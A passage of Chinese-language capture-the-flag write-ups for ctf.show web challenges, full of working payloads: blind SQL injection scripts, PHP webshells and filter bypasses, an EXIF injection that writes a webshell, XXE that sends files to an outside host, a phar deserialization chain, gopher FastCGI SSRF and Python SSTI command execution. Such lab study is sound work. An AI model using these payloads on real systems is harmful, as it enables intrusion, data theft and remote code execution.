            'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""
for i in range(1, 30):
    for al in alphabet:
        a_int = ord(al)
        data = {
            'username': username,
            'password': f"or/**/if((ord(right(left(password,{i}),1))/**/in/**/({a_int})),sleep(3),1)#"
        }
        try:
            r = requests.post(url, data=data, timeout=3)
        except:
            flag += chr(a_int)
            print(flag)

# 你取吧

$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");

要求不使用字母取反异或 echo 出东西,解法很多

预期解是访问 $_ 中的键值拼接,最后用 ${} 构成 $hint

?code=${$_{7}.$_{8}.$_{12}.$_{19}}

还有 P 牛的无数字 webshell 也能打

一些不包含数字和字母的 webshell

无字母数字 webshell 之提高篇

拿到 zip 源码,经过 phpjiami 跑过一遍

还是 P 牛

phpjiami 数种解密方法

hook eval 的插件没成功,dump 出来的

image-20240207152255636

?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; 
@$c($_POST[7-1]);
?>
<?php

就是 assert($_POST[7-1]);)

POST
6=system('cat /flag');

网上还抄了个解密脚本

<?php
function decrypt($data, $key)
{
    $data_1 = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $ch = ord($data[$i]);
        if ($ch < 245) {
            if ($ch > 136) {
                $data_1 .= chr($ch / 2);
            } else {
                $data_1 .= $data[$i];
            }
        }
    }
    $data_1 = base64_decode($data_1);
    $key = md5($key);
    $j = $ctrmax = 32;
    $data_2 = '';
    for ($i = 0; $i < strlen($data_1); $i++) {
        if ($j <= 0) {
            $j = $ctrmax;
        }
        $j--;
        $data_2 .=  $data_1[$i] ^ $key[$j];
    }
    return $data_2;
}
function find_data($code)
{
    $code_end = strrpos($code, '?>');
    if (!$code_end) {
        return "";
    }
    $data_start = $code_end + 2;
    $data = substr($code, $data_start, -46);
    return $data;
}
function find_key($code)
{
    // $v1 = $v2('bWQ1');
    // $key1 = $v1('??????');
    $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
    $pos2 = strrpos(substr($code, 0, $pos1), '$');
    $pos3 = strrpos(substr($code, 0, $pos2), '$');
    $var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
    $pos4 = strpos($code, $var_name, $pos1);
    $pos5 = strpos($code, "('", $pos4);
    $pos6 = strpos($code, "')", $pos4);
    $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
    return $key;
}
$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';
$code = file_get_contents($input_file);
$data = find_data($code);
if (!$code) {
    echo '未找到加密数据', PHP_EOL;
    exit;
}
$key = find_key($code);
if (!$key) {
    echo '未找到秘钥', PHP_EOL;
    exit;
}
$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
    $decrypted = str_rot13($uncompressed);
} else {
    $decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

# WUSTCTF_朴实无华_Revenge_Revenge

只有 level1 和 getflag 改了

if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { // 在 64 位系统中 intval () 的上限不是 2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

只允许 0-9. 还加了 $num != $numPositve 就是要传入的 num 和 intval 处理后的 num 相等,

利用 php 浮点精度

浮点数的字长和平台相关,尽管通常最大值是 1.8e308 并具有 14 位十进制数字的精度(64 位 IEEE 格式)。

警告

# 浮点数的精度

浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。

此外,以十进制能够精确表示的有理数如 0.10.7 ,无论有多少尾数都不能被内部所使用的二进制精确表示,因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果:例如, floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8 ,因为该结果内部的表示其实是类似 7.9999999999999991118...

所以永远不要相信浮点数结果精确到了最后一位,也永远不要比较两个浮点数是否相等。如果确实需要更高的精度,应该使用任意精度数学函数或者 gmp 函数

参见 » 浮点数指南网页的简单解释。

var_dump(1.000000000000001 == 1);         # bool(false)
var_dump(1.0000000000000001 == 1);        # bool(true)
var_dump(1.0000000000000001 === 1);       # bool(false)

为了绕过回文,后边再加一个 0

?num=1000000000000000.00000000000000010

getflag

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

把 nl 给 ban 了,继续抄🐶爹的

ctf 里读取文件相关知识点总结

空格用 < 或者 %09 ,读取用 base64 或者 ca\tphp 换成 ph\p

?get_flag=base64<flag.ph\p

# 你没见过的注入

这题也真够抽象的,确实是没见过😅

先说不用扫,结果还是要访问 robots.txt,拿到重置密码的网址 /pwdreset.php

直接重置密码,进去是个文件上传,无过滤

文件上传后,在后端会被重命名 + 压缩处理,无利用空间,只有个 filetype 进行提示

传个 php-> filetype:PHP script, ASCII text, with CRLF line terminators

看了源码才知道限制了 10k

这里考的是 EXIF 信息中 comment 字段注入,这个字段会存入数据库, finfo->file() 再在后面输出这个信息,造成了 sql 注入漏洞,先去网上下载一个 exiftool 工具 ——> https://exiftool.org/

可以编辑图片的的 EXIF 信息

payload:

./exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';#" 1.jpg
hex(<?=$_POST[0];)=0x3C3F3D60245F504F53545B305D603B

不知道哪试出来的从 exif 信息里注

upload 源码

<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}
    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
	  $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

本地复现一下

image-20240208234314671

# 签到_观己

日志包含

# web1_观字

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

限制死了 http 协议,不给用各种特殊字符

本来想着自己的域名转发到 192.168.7.68,但是还是会有 . ,ip 转 10 进制或者 16 进制都会出现 0

image-20240209145109405

curl 可以用 代替 .

image-20240209145234588

?url=http://192。168。7。68/flag

# web2_观星

fuzz 一下

['!', '"', "'", '+', ',', '=', '`', '|', '~', ' ', 'union', 'rand', 'ascii', 'and', '||', 'sleep', 'benchmark', 'rlike', 'like']

才看出来是 int 类型盲注,单双引号被 ban 了,表名可以用 16 进制代替

逗号被 ban 用 from+for ,但是 if 就彻底没法用了,所以用 case when [express] then [x] else [y] end 代替

ascii 直接换用 ord

直接脚本跑,估计 sqlmap 只会更快

import requests
url = "http://c11b6d04-1817-4495-a58d-96b02ab819f5.challenge.ctf.show/index.php?id="
alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
             'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
             'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""
def get_database_name():
    database = ""
    for i in range(1, 5):
        min = 48
        max = 122
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr(database()/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        database = database + chr(mid)
def get_table_name():
    table = ""
    for i in range(1, 20):
        min = 48
        max = 122
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database()))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        table = table + chr(mid)
        print(table)
def get_column_name():
    column = ""
    for i in range(1, 20):
        min = 48
        max = 122
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        column = column + chr(mid)
        print(column)
def get_data():
    flag = ""
    for i in range(1, 50):
        min = 33
        max = 127
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        flag = flag + chr(mid)
        print(flag)
# get_database_name()
# get_table_name()
# get_column_name()
get_data()

# web3_观图

跳转 showImage.php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}

使用随机生成的 key 解密 image ,一段能被正确解析的密文为 Z6Ilu83MIDw= ,只要猜出原文是什么,就可以通过碰撞出 key ,然后使用 encrypt 进行读取了

<?php
highlight_file(__FILE__);
set_time_limit(0);
$r = 0;
while (True){
    while (ob_get_level()) {
        ob_end_flush();
    }
    $t = rand();
    if ($r<$t){
        $r = $t;
        echo $t."<br>";
    }
}
// 经过碰撞大概可以知道 rand 的范围为 0-2147483647 (梅森素数)

写个加密碰撞脚本

<?php
highlight_file(__FILE__);
set_time_limit(0);
$pass = "Z6Ilu83MIDw=";
for ($i=0;$i<=2147483647;$i++){
    while (ob_get_level()) {
        ob_end_flush();
    }
    $key = substr(md5('ctfshow'.$i),3,8);
    if (preg_match('/jpg|gif|png/',(openssl_decrypt($pass, 'bf-ecb', $key)))){
        echo $i.$key."<br>";
    }
}
// 碰出来 27347
<?php
highlight_file(__FILE__);
set_time_limit(0);
$file = "config.php";
$key = substr(md5('ctfshow'."27347"),3,8);
echo openssl_encrypt($file, 'bf-ecb', $key);

# web4_观心

点击 占卜 访问 api.php ,看一眼负载一眼 xxe

一篇文章带你深入理解漏洞之 XXE 漏洞

XXE 漏洞利用技巧:从 XML 到远程代码执行

test.dtd

<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe "<!ENTITY % xxe SYSTEM 'http://ip/%file;'>">
%xxe;

evil.xml

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data SYSTEM "http://ip/test.dtd">
<test></test>

直接调用 xml 就行

这题不知道什么原因,在远程调用 <!ENTITY &#37; xxe SYSTEM 'http://ip/%file;'> 没有实际访问出来,导致在远程没法读出来,但是可以利用 file:///flag.txt 读到的换行符造成 loadXML() 报错回显

image-20240215195634279

参考

如果使用 base64 后的结果,不会报错,但同时并没有请求出来

# web1_此夜圆

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);

一眼丁真,变长度反序列化绕过

1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

# web2_故人心

hint

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

要求 $a 是数字,长度小于 7,非零且平方运算等于零

可以猜测大概是使用科学计数法来打

Minimum evaluatable scientific value?

由于 php 中双精度存储的限制, 1E-323 会以 float(9.8813129168249E-323) 的形式存储,当下探一位到 1E-324 时,精度不满足就到了 float(0)

所以只要令 $a=1E-162 即可

md2 注意到 hint 内容,联想到 md5 的弱类型比较,肯定是要 0exxxxx == 0exxxx 的类型

这个 hint 给的也💩,实际上应该是这样

$b = xxxxx024452    hash("md2",$b)
$c = xxxxxx48399    hash("md2",hash("md2",$c))
from Crypto.Hash import MD2
b = "024452"
c = "48399"
num = "0123456789"
for i in num:
    for j in num:
        for k in num:
            for q in num:
                payload2 = "0e" + i + j + k + q + c
                md2_hash_2 = MD2.new(payload2.encode()).hexdigest()
                md2_hash_3 = MD2.new(md2_hash_2.encode()).hexdigest()
                if md2_hash_3[:2] == '0e' and md2_hash_3[2:].isdigit():
                    print("2:" + payload2)
            payload1 = "0e" + i + j + k + b
            md2_hash_1 = MD2.new(payload1.encode()).hexdigest()
            if md2_hash_1[:2] == '0e' and md2_hash_1[2:].isdigit():
                print("1:" + payload1)
->
2:0e603448399
1:0e652024452

第三步提示 flag in /fl0g.txt ,要求传入能过 URL 筛选器的字符

file_get_contents 有个点就是,当传入的伪协议头未知时,当做文件夹操作

url=httpt://ctfshow.com/../../../../../../../../fl0g.txt
http 变为 httpt 这个未知协议

# web3_莫负婵娟

<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

fuzz 一下

['"', '#', '%', "'", '(', ',', '-', '\\', '^', 'select', 'union', 'sleep']

单双引号和反斜杠都被过滤了,肯定绕不过了

由于这里用的特殊匹配方法 like

like 有两个模式:_和 %

_:表示单个字符,用来查询定长的数据

%:表示 0 个或多个任意字符

1SELECT * FROM Persons  WHERE City LIKE 'N%'     "Persons" 表中选取居住在以 "N" 开始的城市里的人
2SELECT * FROM Persons  WHERE City LIKE '%g'     "Persons" 表中选取居住在以 "g" 结尾的城市里的人
3SELECT * FROM Persons   WHERE City LIKE '%lon%'"Persons" 表中选取居住在包含 "lon" 的城市里的人
4SELECT * FROM Persons   WHERE City NOT LIKE '%lon%'"Persons" 表中选取居住在不包含 "lon" 的城市里的人

password 里塞 32 个 _ ,能模糊匹配,打出回显: I have filtered all the characters. Why can you come in? get out!

跑个脚本

import string
import requests
url = "http://10e8ff00-4077-42a3-9cbc-b9b6fe7ff911.challenge.ctf.show/login.php"
length = 32
tables = string.printable
password = ""
for i in range(length):
    for table in tables:
        payload = password + table + "_" * (length - i - 1)
        r = requests.post(url, data={
            "username": "yu22x",
            "password": payload
        })
        if "wrong username or password" not in r.text:
            password = password + table
            print(password)
            break

进去是个 ip 测试,自己起个发现是使用 curl

image-20240216230905126

fuzz 一下过滤了全部小写字母

['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '"', '%', '&', "'", '(', ')', '*', '+', ',', '-', '/', '<', '=', '>', '[', '\\', ']', '^', '`', '|', '\t', '\n']

剩下可用的

['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '#', '$', '.', ':', ';', '?', '@', '_', '{', '}', '~', ' ', '\r', '\x0b', '\x0c']

hint

环境变量 +linux 字符串截取 + 通配符

ctf 里读取文件相关知识点总结

里面提到过空格 / 被过滤可以使用 ${PATH:0:1} 来代替,同理,我们要执行的也可以用这个来代替

image-20240216232730176

image-20240216232913174

ip=127.0.0.1;${PATH:5:1}${PATH:2:1}->ls
ip=127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???->nl ????.???

# 1024_WEB 签到

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

可见是没有参数能传入的,也没法无参 rce

直接去 phpinfo 找

image-20240218162630417

调用就行

# 1024_fastapi

fastapi,dirsearch 扫出手册 /docs

由 python 写出来的后端,尝试有回显的函数 str(123) 返回 123

尝试 ssti

Python 模板注入 (SSTI) 深入学习

q=str("".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /mnt/f1a9').read())

先读源码 main.py ,提示 flag 位置,还 ban 了一些

'import','open','eval','exec'

# 1024_柏拉图

首页要求输入 url,试了 http 协议报错,试到 file 协议不报错,后面是双写绕过

读一下源文件

index.php

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: [email protected]
# @link: https://ctfer.com
*/
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

upload.php

<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>

readfile.php

<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>

class.php

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

unlink.php

<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>

看到有个 class.phpreadfile 函数,一眼 phar 反序列化

php 反序列化拓展攻击详解 --phar

poc.php

<?php
class A {
    public $a;
//    public function __construct($a)
//    {
//        $this->a = $a;
//    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
//    public function __construct($b)
//    {
//        $this->b = $b;
//    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
//    public function __construct($c)
//    {
//        $this->c = $c;
//    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
$A = new A('');
$B = new B('');
$C = new C('');
$A->a = $B;
$B->b = $C;
$C->c = 'system("cat /ctfshow_1024_flag.txt");';
$phar = new Phar('cat.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($A);
$phar -> stopBuffering();

上传直接用 compress.zlib://phar://

# 1024_图片代理

自动跳转

?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w

base64 解码是个图片地址,直接换用 file 协议能读 passwd

嗅探到 nginx,读一下配置文件 /etc/nginx/conf.d/default.conf

image-20240220175037927

网站目录 /var/www/bushihtml ,fastcgi 开在 9000 端口

直接 gopher 打

python gopherus.py --exploit fastcgi

image-20240220175154791

# 1024_hello_world

看起来像 ssti,fuzz 一下

["'", '.', '_', '\r', '\x0b', '\x0c', '\{\{']

被 ban 了就没法直接打回显了

但是可以用 {%print(...)%} 代替

也有更麻烦的用 {% if ... %}1{% endif %} 盲注

这里选用 {%print(...)%}

以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用

key={%print(()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /c*")["read"]())%}

"_"hex编码->"\x5f",也可以换用unicode

主要就是用 ()["\x5f\x5fclass\x5f\x5f"] 来代替 ().__class__

# 原谅 4

看起来很简单

<?php 
isset($_GET["xbx"])?system($_GET["xbx"]):highlight_file(__FILE__)?

但是进去才知道命令基本不可用, bin 里面只有 ls rm sh 这三条命令可用

但是还有一种利用报错读取来读到文件内容

如果有读取文件的权限

echo `. /f* 2>&1` -urlencode> echo `. /f* 2>%261`

如果有执行文件的权限

echo `/f* 2>&1` -urlencode> echo `/f* 2>%261`

无非就是一个用了 sh 执行 shell 脚本的区别

# 原谅 5_fastapi2

严格意义来说不是 ssti,fuzz 一下,过滤了

["import", "open", "eval", "exec", "class", "&#39", &#39"&#39, "vars", "str", "chr"]

除了之前用的 str 可以造成回显, list 同样也可以打出回显

可以直接用 list(globals()) 看到当前的全局变量

image-20240222153114837

比较特殊的就是其中的 youdontknow ,直接进去看就能知道这是 banlist

而且属性应该是 list

列表有一个函数操作是 [].clear() ,可以清空该列表内元素

q=youdontknow.clear()
q=list(youdontknow)

可见 banlist 已经被清空了,接下来就是随便打

q=[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["popen"]("cat /f*").read()
q=open("/flag").read()

# 其他方法

由于规定了接收的 q 是 string 型,因此 "".__class__ 这类返回的 class 类型就会引起错误,因此需要将其转为 str 型

可以通过 bytes.fromhex() 绕过 waf,同时也可以保证 str 型

q=__import__(bytes.fromhex (hex (28531)[2:]).decode ()).popen (bytes.fromhex (hex (6c73)[2:]).decode ()).readlines ()
其中的o是全角字符,可以绕过 waf
28531 和 6c73 分别是 os,ls 的 hex

image-20240222154818718

还有种比较抽象的办法

有一个内置函数没有被 ban: dir() ,用来查看当前范围内变量

image-20240222180447783

q=kiword

可见最后的 kiword 是 chr

image-20240222180522602

就可以利用 getattr 拼凑出函数

getattr(__builtins__,kiword)->__builtins__.chr
getattr(__builtins__,kiword)(97)->__builtins__.chr(97)->a

可以拼出 __builtins__.__import__("os").popen("ls").read()

getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)
->
__import__
getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)
->
os
getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110)
->
popen
getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)
->
ls
payload:
getattr(getattr(__builtins__,getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95))(getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)),getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110))(getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)).read()
-urlencode>
